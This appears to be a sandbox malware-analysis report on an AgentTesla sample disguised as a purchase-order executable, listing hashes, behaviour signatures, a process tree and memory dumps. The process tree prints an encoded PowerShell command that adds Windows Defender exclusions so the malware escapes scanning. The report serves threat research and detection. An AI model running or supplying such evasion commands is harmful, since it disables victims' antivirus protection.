Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-01-2025 16:32

General

  • Target

    PO-Tooling CT240230231 - CTA240714.com.exe

  • Size

    46KB

  • MD5

    1f33b2b038c4d62ef89483a746f86012

  • SHA1

    c54c6647703964e2dc01f11f44cdcb29a112be90

  • SHA256

    a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9

  • SHA512

    8dbd263e8d4e518f427f706d85867c21e5e146317fcb1a73e7191d03c8bff75654ece51dc2242aa43dc18bfb7387ed0330f12df7f45749e78dece3d510a9fa08

  • SSDEEP

    768:mKT/nyl4QXU2+kCYU1qLn2uDf6s6i5MXAjWHRc9EB+Yhd9eYBcriEsO:DT/yl472ls15u6fxc9E9haYiCO

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3436
      • C:\Users\Admin\AppData\Local\Temp\PO-Tooling CT240230231 - CTA240714.com.exe
        "C:\Users\Admin\AppData\Local\Temp\PO-Tooling CT240230231 - CTA240714.com.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Checks computer location settings
        • Drops startup file
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1560
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ipconfig /release
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:640
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /release
            4⤵
            • System Location Discovery: System Language Discovery
            • Gathers network information
            PID:4124
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUABPAC0AVABvAG8AbABpAG4AZwAgAEMAVAAyADQAMAAyADMAMAAyADMAMQAgAC0AIABDAFQAQQAyADQAMAA3ADEANAAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFAATwAtAFQAbwBvAGwAaQBuAGcAIABDAFQAMgA0ADAAMgAzADAAMgAzADEAIAAtACAAQwBUAEEAMgA0ADAANwAxADQALgBjAG8AbQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA=
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3320
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ipconfig /renew
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3412
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /renew
            4⤵
            • System Location Discovery: System Language Discovery
            • Gathers network information
            PID:1116
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2380

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uco0ijxo.nht.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1560-1330-0x00000000064A0000-0x000000000650A000-memory.dmp

      Filesize

      424KB

    • memory/1560-27-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-2-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/1560-3-0x0000000005FF0000-0x0000000006102000-memory.dmp

      Filesize

      1.1MB

    • memory/1560-4-0x00000000066B0000-0x0000000006C54000-memory.dmp

      Filesize

      5.6MB

    • memory/1560-5-0x00000000061E0000-0x0000000006272000-memory.dmp

      Filesize

      584KB

    • memory/1560-11-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-25-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-39-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-69-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-67-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-65-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-63-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-61-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-59-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-57-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-55-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-54-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-51-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-49-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-47-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-45-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-43-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-41-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-37-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-35-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-33-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-1333-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/1560-1332-0x00000000747CE000-0x00000000747CF000-memory.dmp

      Filesize

      4KB

    • memory/1560-23-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-1331-0x0000000006580000-0x00000000065CC000-memory.dmp

      Filesize

      304KB

    • memory/1560-19-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-17-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-15-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-13-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-9-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-29-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-7-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-6-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-1328-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/1560-1329-0x00000000063D0000-0x000000000643C000-memory.dmp

      Filesize

      432KB

    • memory/1560-0-0x00000000747CE000-0x00000000747CF000-memory.dmp

      Filesize

      4KB

    • memory/1560-21-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-1-0x0000000000500000-0x0000000000510000-memory.dmp

      Filesize

      64KB

    • memory/1560-31-0x0000000005FF0000-0x00000000060FC000-memory.dmp

      Filesize

      1.0MB

    • memory/1560-1334-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/1560-1379-0x00000000056D0000-0x0000000005724000-memory.dmp

      Filesize

      336KB

    • memory/1560-1387-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/1560-1388-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/1560-1392-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/1560-1400-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/1560-1391-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/2380-1393-0x0000000000400000-0x0000000000440000-memory.dmp

      Filesize

      256KB

    • memory/2380-1399-0x0000000006040000-0x000000000604A000-memory.dmp

      Filesize

      40KB

    • memory/2380-1398-0x0000000005FC0000-0x0000000006010000-memory.dmp

      Filesize

      320KB

    • memory/3320-1352-0x0000000006680000-0x000000000669E000-memory.dmp

      Filesize

      120KB

    • memory/3320-1351-0x0000000006080000-0x00000000063D4000-memory.dmp

      Filesize

      3.3MB

    • memory/3320-1373-0x0000000007C50000-0x0000000007CE6000-memory.dmp

      Filesize

      600KB

    • memory/3320-1371-0x00000000079D0000-0x00000000079EA000-memory.dmp

      Filesize

      104KB

    • memory/3320-1353-0x00000000066D0000-0x000000000671C000-memory.dmp

      Filesize

      304KB

    • memory/3320-1372-0x0000000007A40000-0x0000000007A4A000-memory.dmp

      Filesize

      40KB

    • memory/3320-1354-0x0000000006C40000-0x0000000006C72000-memory.dmp

      Filesize

      200KB

    • memory/3320-1356-0x000000006F8D0000-0x000000006F91C000-memory.dmp

      Filesize

      304KB

    • memory/3320-1366-0x0000000007850000-0x000000000786E000-memory.dmp

      Filesize

      120KB

    • memory/3320-1368-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/3320-1367-0x0000000007870000-0x0000000007913000-memory.dmp

      Filesize

      652KB

    • memory/3320-1369-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/3320-1340-0x0000000005F20000-0x0000000005F86000-memory.dmp

      Filesize

      408KB

    • memory/3320-1337-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/3320-1335-0x0000000003090000-0x00000000030C6000-memory.dmp

      Filesize

      216KB

    • memory/3320-1341-0x0000000006000000-0x0000000006066000-memory.dmp

      Filesize

      408KB

    • memory/3320-1374-0x0000000007BD0000-0x0000000007BE1000-memory.dmp

      Filesize

      68KB

    • memory/3320-1375-0x0000000007C00000-0x0000000007C0E000-memory.dmp

      Filesize

      56KB

    • memory/3320-1376-0x0000000007C10000-0x0000000007C24000-memory.dmp

      Filesize

      80KB

    • memory/3320-1377-0x0000000007D10000-0x0000000007D2A000-memory.dmp

      Filesize

      104KB

    • memory/3320-1378-0x0000000007CF0000-0x0000000007CF8000-memory.dmp

      Filesize

      32KB

    • memory/3320-1385-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/3320-1336-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/3320-1390-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/3320-1394-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/3320-1370-0x0000000008010000-0x000000000868A000-memory.dmp

      Filesize

      6.5MB

    • memory/3320-1397-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB

    • memory/3320-1339-0x00000000057C0000-0x00000000057E2000-memory.dmp

      Filesize

      136KB

    • memory/3320-1338-0x00000000058F0000-0x0000000005F18000-memory.dmp

      Filesize

      6.2MB

    • memory/3320-1355-0x00000000747C0000-0x0000000074F70000-memory.dmp

      Filesize

      7.7MB